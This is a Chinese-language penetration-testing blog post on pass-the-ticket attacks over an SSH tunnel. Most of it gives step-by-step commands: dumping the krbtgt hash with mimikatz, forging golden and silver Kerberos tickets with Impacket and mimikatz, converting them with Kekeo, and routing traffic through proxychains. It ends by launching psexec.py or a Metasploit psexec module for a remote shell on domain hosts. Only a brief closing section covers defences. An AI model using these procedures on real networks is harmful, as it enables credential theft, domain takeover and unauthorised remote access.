通過SSH隧道傳遞票證
- 2019 年 10 月 4 日
- 筆記
No.1
聲明
由於傳播、利用此文所提供的信息而造成的任何直接或者間接的後果及損失,均由使用者本人負責,雷神眾測以及文章作者不為此承擔任何責任。 雷神眾測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經雷神眾測允許,不得任意修改或者增減此文章內容,不得以任何方式將其用於商業目的。
No.2
前言
PTT攻擊方法代替明文密碼或NTLM哈希的使用Kerberos票據。可能PTT最常見的用途是使用金色和銀色門票。通過PTT獲得對主機的訪問是相當簡單的
No.3
金票
你有普通域用戶權限,但是沒有域的權限,知道賬戶hash,krbtgt,krbtgt密碼未修改,該票據可以重新獲得域管理員權限,利用krbtgt的HASH值可以偽造生成任意的TGT(mimikatz),能夠繞過對任意用戶的賬號策略,讓用戶成為任意組的成員,可用於Kerberos認證的任何服務
- 需要與DC通信
- 需要krbtgt用戶的hash
要創建Golden Ticket,我們需要從目標域獲取以下信息:
- krbtgt帳戶NT哈希
- 域SID
- 域FQDN
首先獲取域ID和krbtgt用戶hash:
mimikatz# lsadump::lsa /patch
我們將使用Impacket的示例腳本ticketer.py來創建Golden Ticket憑證緩存(ccache)文件。以下是為用戶創建ccache文件
./ticketer.py -nthash NT哈希 -domain-sid DOMAIN-SID -domain DOMAIN.FQDN
要使Impacket示例腳本能夠使用ccache文件進行身份驗證,而不是提供明文密碼或NT哈希,我們需要將KRB5CCNAME變量設置為ccache文件的絕對路徑:
export KRB5CCNAME=/path/to/ccache/file
驗證變量設置是否正確:
echo $KRB5CCNAME
現在我們可以將-k標誌與任何支持Kerberos身份驗證的Impacket腳本一起使用,以使用Golden Ticket,而不是提供明文密碼或NT哈希值。
No.4
名稱解析
為了確保Kerberos進程功能,我們需要修改/etc/hosts攻擊者計算機的文件,以包含目標域控制器的FQDN和目標主機的NetBIOS名稱的條目。
nano /etc/hosts
127.0.0.1localhost 192.168.75.128aaa.bbb(FQDN) 192.168.75.137 WIN-111(NETbios)
如果您還沒有域控制器的IP地址,請通過目標Linux主機上的SSH會話在目標域的FQDN上運行nslookup。例如:
nslookup -type=srv _ldap._tcp.aaa.bbb
No.5
Proxychains
我們將使用代理鏈通過SSH隧道路由我們的流量。通過查看配置文件的最後一行來驗證代理鏈端口,/etc/proxychains.conf默認情況下在Kali上。
創建一個SOCKS代理,代理鏈將路由流量
ssh [email protected] -D 1337
要驗證隧道是否已正確設置,我們可以使用代理鏈對目標主機的端口445運行nmap TCP連接掃描:
proxychains nmap -sT -Pn -p445 192.168.75.137
No.6
時間同步
運行以下命令將返回交互式CMD提示:
proxychains net time -S <IP-of-DC> proxychains net time set -S <IP-of-DC>
No.7
啟動攻擊
運行以下命令將返回交互式CMD提示:
proxychains ./psexec.py user@WIN-111 -k -no-pass
也可以用MSF
use exploit/windows/smb/psexec_psh
No.8
銀票
兩個票據之間的區別:
訪問權限不同
Golden Ticket:偽造TGT,可以獲取任何Kerberos服務權限 Silver Ticket:偽造TGS,只能訪問指定的服務
加密方式不同
Golden Ticket :由Kerberos的Hash加密 Silver Ticket :由服務賬號(通常為計算機賬戶)Hash加密
認證流程不一樣
Golden Ticket 的利用過程需要訪問域控,而Silver Ticket不需要
No.9
偽造票據
要生成銀票,我們需要以下信息:
- 目標主機帳戶NTLM哈希
- 目標主機FQDN
- 目標服務
- 域SID
- 域FQDN
使用Mimikatz的Kerberos模塊生成Silver Ticket :
kerberos::golden /user:USERNAME /domain:DOMAIN.FQDN /sid:DOMAIN-SID /target:TARGET-HOST.DOMAIN.FQDN /rc4:TARGET-MACHINE-NT-HASH /service:SERVICE
退出Mimikatz並啟動Kekeo。使用以下語法將kirbi文件轉換為ccache文件:
misc::convert ccache /path/to/ticket.kirbi
您可以使用以下語法轉換多個kirbi票證:
misc::convert ccaches /path/to/ticket1.kirbi /path/to/ticket2.kirbi …
將ccache文件Kekeo輸出複製到攻擊Linux主機。確保在Linux主機上記下文件的絕對路徑; 我們需要它來設置KRB5CCNAME變量。其餘的攻擊使用我們的Linux主機。
No.10
攻擊設置
剩餘的Silver Ticket攻擊設置與Golden Ticket攻擊大致類似,但有兩個例外。
首先,我們需要在/etc/hosts文件中提供目標主機的FQDN ,而不是NetBIOS名稱。對於我們的示例,該/etc/hosts文件應如下所示:
127.0.0.1localhost 192.168.26.129aaa.bbb 192.168.26.128 WIN-111.aaa.bbb
第二個區別是我們需要將攻擊機器的時間與目標主機同步; Silver Tickets不與目標的域控制器通信。
按照與上面的Golden Ticket攻擊相同的步驟設置KRB5CCNAME變量,驗證代理鏈配置,使用SOCKS代理建立SSH隧道,並使用nmap驗證隧道。
No.11
啟動攻擊
我們現在可以psexec.py針對目標主機的FQDN 啟動攻擊:
proxychains python psexec.py [email protected] -k -no-pass
No.12
防禦手段
針對黃金票據 1.設置域管理員權限,只允許登陸域管服務器和少數管理服務器,同時也不能讓其他管理員賬戶登陸個人主機,這樣可以有效防止攻擊者獲取到域管權限從而竊取ntds.dit,以此防止獲取KBRBTHGT賬戶hash。 2.禁用KRBTGT賬戶,此時在Kerberos票據進行簽署PAC並加密TGT時,會檢查KRBTGT以前的密碼來進行驗證,保存好以前的密碼。 3.定期更換KRBTHTGT密碼,確保每年至少更改一次密碼 4.當攻擊者創建黃金票據時,通過快速更改密碼,使其失效。 針對白銀票據 1.盡量保證服務器憑證不被竊取 2.開啟PAC (Privileged Attribute Certificate) 特權屬性證書保護功能。
END